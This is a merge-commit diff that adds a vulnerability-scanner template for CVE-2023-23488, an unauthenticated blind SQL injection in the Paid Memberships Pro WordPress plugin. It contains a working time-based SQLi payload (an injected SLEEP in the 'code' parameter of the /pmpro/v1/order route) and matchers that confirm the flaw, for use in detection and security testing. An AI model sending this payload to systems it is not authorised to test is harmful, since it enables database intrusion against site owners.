Merge pull request #6771 from dwisiswant0/add/CVE-2023-23488

add CVE-2023-23488

cves/2023/CVE-2023-23488.yaml

@@ -0,0 +1,34 @@
+id: CVE-2023-23488
+
+info:
+  name: Paid Memberships Pro < 2.9.8 - Unauthenticated Blind SQLi
+  author: dwisiswant0
+  severity: critical
+  description: |
+    The Paid Memberships Pro WordPress Plugin, version < 2.9.8, is affected
+    by an unauthenticated SQL injection vulnerability in the 'code' parameter
+    of the '/pmpro/v1/order' REST route.
+  reference:
+    - https://www.tenable.com/security/research/tra-2023-2
+    - https://wordpress.org/plugins/paid-memberships-pro/
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-23488
+  tags: wp-plugin,wp,sqli,paid-memberships-pro,cve,cve2023,wordpress
+
+requests:
+  - raw:
+      - |
+        @timeout: 30s
+        GET /?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20- HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /wp-content/plugins/paid-memberships-pro/js/updates.js HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - duration_1>=5
+          - status_code_1 != 403 # Wordfence
+          - contains(body_2, "pmpro_updates")
+        condition: and